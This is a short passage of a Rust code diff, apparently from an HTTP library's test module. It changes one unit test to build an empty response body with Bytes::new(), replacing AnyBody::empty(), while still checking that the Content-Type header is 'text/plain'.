StatusCode, }; #[test] @@ -476,7 +473,7 @@ mod tests { fn test_content_type() { let resp = HttpResponseBuilder::new(StatusCode::OK) .content_type("text/plain") - .body(AnyBody::empty()); + .body(Bytes::new()); assert_eq!(resp.headers().get(CONTENT_TYPE).unwrap(), "text/plain") }